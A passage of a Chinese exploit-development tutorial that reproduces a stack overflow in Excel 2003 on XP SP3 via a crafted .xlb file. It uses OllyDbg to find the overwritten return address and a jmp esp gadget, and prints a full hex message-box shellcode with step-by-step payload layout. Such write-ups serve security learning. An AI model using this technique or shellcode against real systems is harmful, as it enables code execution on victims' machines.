作者丨黑蛋
目标程序 | 调试工具 | 16进制编辑器 | |
XP SP3 | office 2003 | ollydbg | 010Editor |
三、漏洞验证
首先我们配置环境,并下载poc:
![](https://img-blog.csdnimg.cn/img_convert/5ad44c29c2cc745f0ff14e9f77cef0be.png)
![](https://img-blog.csdnimg.cn/img_convert/a1a4f572668fded0c910f4964f8cc19b.gif)
使用ollydbg附加office excel 2003:
![](https://img-blog.csdnimg.cn/img_convert/63f0612d3c9e6e837484338fdf0f1203.png)
![](https://img-blog.csdnimg.cn/img_convert/64c8be1b32569e394e2610f0adf313ea.gif)
![](https://img-blog.csdnimg.cn/img_convert/d225520741b4fd51bb99e3354fbba66e.png)
![](https://img-blog.csdnimg.cn/img_convert/b90337cfbbd11097624df42148667960.gif)
打开poc
![](https://img-blog.csdnimg.cn/img_convert/a3ba79a3b49aae2faefbb56577988956.png)
![](https://img-blog.csdnimg.cn/img_convert/f3d26a145c7f7862113d0e703351f180.gif)
可以看到发生了访问违规异常,像地址0x51453844中写入时发生异常,证明漏洞是存在的。
四、漏洞复现
继续上述操作,到发生异常的时候,回到堆栈,然后转到EBP附近:
![](https://img-blog.csdnimg.cn/img_convert/0d5146a83afc675c03c924d2fa1346d1.png)
![](https://img-blog.csdnimg.cn/img_convert/9716a10333fa44c4783de2926f811db2.gif)
可以看到给EAX赋值EBP+2C的值,再向EAX中的地址写入时发生了异常。
接下来记下300CE361这个发生异常的地址,下断点,再自己随意创建一个文件:123.xlb,然后继续打开excel并用ollydbg附加,我们看看异常时候堆栈的正常情况是咋样的:
![](https://img-blog.csdnimg.cn/img_convert/0d2bc96b67cbcad81dcdf3aaf7c4ae1f.png)
![](https://img-blog.csdnimg.cn/img_convert/a1120d1f09535c4d37478c7229ec2fdc.gif)
可以看到EBP这里是不一样的,然后我们在堆栈中对EBP+4的位置按回车:
![](https://img-blog.csdnimg.cn/img_convert/73db0307d919f64c2424a909188b3eda.png)
![](https://img-blog.csdnimg.cn/img_convert/cf384c94f13d8d2aca23acde42a4d618.gif)
可以看到这里就是关键函数,我们下断点(300CFACF),然后重新运行,打开poc:
![](https://img-blog.csdnimg.cn/img_convert/0c740f8db4488da221d013e441510e3d.png)
![](https://img-blog.csdnimg.cn/img_convert/fc995090bdfd723b799f214ec5987504.gif)
可以看到断点断在了关键函数,
接下来我们顺带在0013AA90(此时EBP+4)处下内存写入断点,然后跑起来,第一次断在了一个拷贝代码处:
![](https://img-blog.csdnimg.cn/img_convert/361489a1d61a45c80e00e0c8c361e67d.png)
![](https://img-blog.csdnimg.cn/img_convert/22af5af53b928c379bc6fe2ab289e981.gif)
但是查看堆栈,这里并不是0013AA8C处,我们继续运行,同样停留在这个地方,而此时的堆栈已经在0013AA90附近:
![](https://img-blog.csdnimg.cn/img_convert/1a5a44965a8d5df51598dff9f302d600.png)
![](https://img-blog.csdnimg.cn/img_convert/88ad2a990acc50b76d26393dfee58563.gif)
我们在断点处上方shr ecx,2处下断点,然后重新运行,按照前面经验,我们需要断在第二次,然后观察:
![](https://img-blog.csdnimg.cn/img_convert/539e0ca996f0472f491ef8929094ebbf.png)
![](https://img-blog.csdnimg.cn/img_convert/7559816c6207aa8563609059c8e02b2d.gif)
可以看到拷贝数据是ESI指向的一坨,然后拷贝起始地址在0013AA3B,拷贝长度是300。我们记下这一坨,在poc中查找:
![](https://img-blog.csdnimg.cn/img_convert/832c8779eb7066e281aaf1d92b2d4f6d.png)
![](https://img-blog.csdnimg.cn/img_convert/40f8f4ce0a380b3fdb8e613c8cb77600.gif)
然后我们锁定堆栈,再走完拷贝代码,可以看到返回地址被修改,同时这块被篡改的数值是30424232,记录这个数据可以待会构造payload:
![](https://img-blog.csdnimg.cn/img_convert/ce416fa4e567d3ad91e0a27233e8bd2b.png)
![](https://img-blog.csdnimg.cn/img_convert/188569510e0a7cd6cb74e8bea10fdb74.gif)
然后我们ctrl+f查找jmp esp:
![](https://img-blog.csdnimg.cn/img_convert/f5926b44ea8eb4a063a471f6fe8be400.png)
![](https://img-blog.csdnimg.cn/img_convert/44362f3559817ce48dc88c6f0c8d8bd7.gif)
接下来用010Editor打开poc,找找前面那坨拷贝数据:
![](https://img-blog.csdnimg.cn/img_convert/9e4fdc3f7714318fff4a4c9d38d99be7.png)
![](https://img-blog.csdnimg.cn/img_convert/391c17b38f2fff7ffa8d3447a04ff23b.gif)
接下来我们初步构造一下,把返回地址那里改成jmp esp地址(30018447),然后后面跟上我们的祖传弹窗shellcode,其他地方改成90909090:
弹窗shellcode:
FC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C
8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 53
68 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B
49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95
FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59
20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A
C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75
E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03
2C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB
53 68 66 66 66 66 68 66 66 66 66 8B C4 53 50 50
53 FF 57 FC 53 FF 57 F8
然后在shellcode结尾加4个90隔开:
![](https://img-blog.csdnimg.cn/img_convert/518381b4825ef36adebcb5628dcc14d0.png)
![](https://img-blog.csdnimg.cn/img_convert/46794208a40f3375c0d614af37f11693.gif)
接下来我们继续用excel打开改造后的xlb:
![](https://img-blog.csdnimg.cn/img_convert/54e53d8631df7c9fe6ccaa50f2177a5c.png)
![](https://img-blog.csdnimg.cn/img_convert/98b27db82b62b08325cb635979f105d9.gif)
可以看到位置没有出错,我们执行到返回,发现并没有执行到跳板指令那里,我们继续执行到返回,然后再继续执行到返回,结果出现异常:
![](https://img-blog.csdnimg.cn/img_convert/976285ad20ae3012dc1eb8df5a95bdb3.png)
![](https://img-blog.csdnimg.cn/img_convert/8b40a283d857aa63a6471c3db3dad96b.gif)
可以看到这里出现异常,所以我们需要修复堆栈,在EBP+2C的地址放一个可以写入的地址(0013AA7C),然后前面都是90909090,再加一个短跳跳到EBP+2C的位置,然后在EBP+2C+4的位置开始放入shellcode:
短跳(EB 12):
![](https://img-blog.csdnimg.cn/img_convert/27e35c6abfd6af4137ab2d132791df57.png)
![](https://img-blog.csdnimg.cn/img_convert/6b05145203d2f24089858309a054882f.gif)
开始构造新的payload:
![](https://img-blog.csdnimg.cn/img_convert/a4b4d984c3f278b437b4573df0830480.png)
![](https://img-blog.csdnimg.cn/img_convert/8443d21fd8924524f43dabc7ddb462ca.gif)
然后继续测试,可以看到这里没有发生异常:
![](https://img-blog.csdnimg.cn/img_convert/fee08008c7ff5ddffe0b1b18739e79c7.png)
![](https://img-blog.csdnimg.cn/img_convert/62a52add02198517c47d3d47e63e3e94.gif)
到了jmp esp:
![](https://img-blog.csdnimg.cn/img_convert/7dce179e3d4f47299c96c1ec36346f9e.png)
![](https://img-blog.csdnimg.cn/img_convert/02e24eeb9469ad3a310b6d29a6682d24.gif)
这里出了岔子,跳到了shellcode+4的位置,导致代码识别出错,我们需要把shellcode再往后挪一下:
![](https://img-blog.csdnimg.cn/img_convert/98d2cbdf488034cd6dbd87b9e4c97822.png)
![](https://img-blog.csdnimg.cn/img_convert/d96e8a5c67ab84be367c6136084a6c9d.gif)
![](https://img-blog.csdnimg.cn/img_convert/e1acf5d32f12335b15b50b51655dd3d8.png)
![](https://img-blog.csdnimg.cn/img_convert/be4cce4951c8ea214c53de38fded1345.gif)
这次成功了:
![](https://img-blog.csdnimg.cn/img_convert/ef954090ee69c62a7b3801d471eaa1ae.png)
![](https://img-blog.csdnimg.cn/img_convert/5ade3049353362f428f08c50b61497f3.gif)
![](https://img-blog.csdnimg.cn/img_convert/3be06fefe24fb24cd59270dcfbb2edde.png)
![](https://img-blog.csdnimg.cn/img_convert/0393d635d7fc5b1459e98f089919e9b0.gif)